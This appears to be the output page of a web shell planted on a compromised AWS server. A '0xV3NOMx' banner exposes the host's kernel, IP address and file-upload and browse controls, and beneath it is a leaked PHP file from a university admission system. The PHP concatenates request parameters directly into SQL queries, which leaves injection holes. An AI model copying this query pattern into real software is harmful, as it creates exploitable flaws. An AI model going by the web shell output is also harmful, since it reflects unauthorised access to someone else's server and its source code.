0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.137.219.221


Current Path : /proc/thread-self/root/var/www/html/admission/src/
Upload File :
Current File : //proc/thread-self/root/var/www/html/admission/src/degree.php

<?php

function getDegrees($aobj_context)
{
  $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);

  $deggrp = $aobj_context->mobj_data["deggrp"];

  $modtype = $aobj_context->mobj_data["modtype"];
  $fcurtype = $aobj_context->mobj_data["fcurtype"];
  $fcollcode = $aobj_context->mobj_data["fcollcode"];
  if($deggrp != ""){
    $cond = "and d.fdeggrp ='{$deggrp}'";
  }else{
    $cond = "";
  }

  if ($modtype == 'PRBOARD') {

    $fboard = $aobj_context->mobj_data["fboard"];

    $query = "select distinct fdegree, fdescpn from degree 
    where ifnull(fdeggrp,'') = '{$deggrp}' 
    and fdegree in (select distinct fdegree from subject 
    where fboard = '{$fboard}' and ftheory = 'F' and fintass = 'F' 
    and fretain = 'F')";
  } else if($fcurtype == '600' || $fcurtype == '500' || $fcurtype == '501') {
    
    $query = "select distinct d.fdegree, concat(d.fdegree,' - ',d.fdescpn) as fdescpn from degree d
    inner join student s on d.fdegree = s.fdegree and d.fexamno = 'A'
    where ifnull(s.fdeleted,'') <> 'T'
    $cond 
    and s.fcollcode = '{$fcollcode}' ";
  } else {

    $cnd = "where ifnull(fdeggrp,'') = '{$deggrp}'";
    if($deggrp == '')
    {
      $cnd ="";
    }

    $query = "select distinct fdegree, fdescpn from degree 
    {$cnd}";

  }

  $result = $aobj_context->pobj_db->GetAll($query);
  if (!$result && gettype($result) == 'boolean') {
    $arr['msg'] = "Error while fetching Degrees";
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "Failure");
    return;
  }

  if (count($result) > 0) {
    $res['degrees'] = $result;
    echo $aobj_context->mobj_output->ToJSONEnvelope($res, 0, "success");
    return;
  } else {
    $arr['msg'] = 'No Degrees Found for given';
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure");
    return;
  }
}


function getFacultyDegree($aobj_context)
{
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); 
	// $ffaculty = $aobj_context->mobj_data["ffaculty"];
    session_start();
    $query = "select distinct  d.fdegree as int_code, concat(d.fdescpn,' - ',d.fdegree) as val 
    from degree  d 
    where d.fexamno = 'A' and d.fadmdeg = 'T' and ifnull(d.fdeleted,'') <> 'T'
    and fdeggrp = 'PG'
	order by ffaculty, d.fdescpn";
    $result1 = $aobj_context->pobj_db->GetAll($query);

    // $query = "select ifnull(fappno,'') as fappno, ifnull(ffinsub,'F') as ffinsub, 
    // ifnull(fpaystatus,'') as fpaystatus from pgstudadm 
    // where fmobileno = '{$_SESSION['MOBILE']}'";

    // $result2 = $aobj_context->pobj_db->GetRow($query);
    
    if(!$result1 && gettype($result1) == 'boolean'){
        $arr['msg'] = "Error while fetching data";
        echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"Failure"); 
        return;
    }
    if(count($result1) > 0) {

        // $arr['fappno'] = $result2['fappno'];
        // $arr['fpaystatus'] = $result2['fpaystatus'];
        // if(count($result2) == 0)
        //     $arr['fappno'] = "";
        // $arr['fmobileno'] = $_SESSION['MOBILE'];
        $arr['degree'] = $result1;
        echo $aobj_context->mobj_output->ToJSONEnvelope($result1,0,"success"); 
        return;
    }
    else {
        $arr['msg'] = "No data found";
        echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"Failure"); 
        return;
    }
}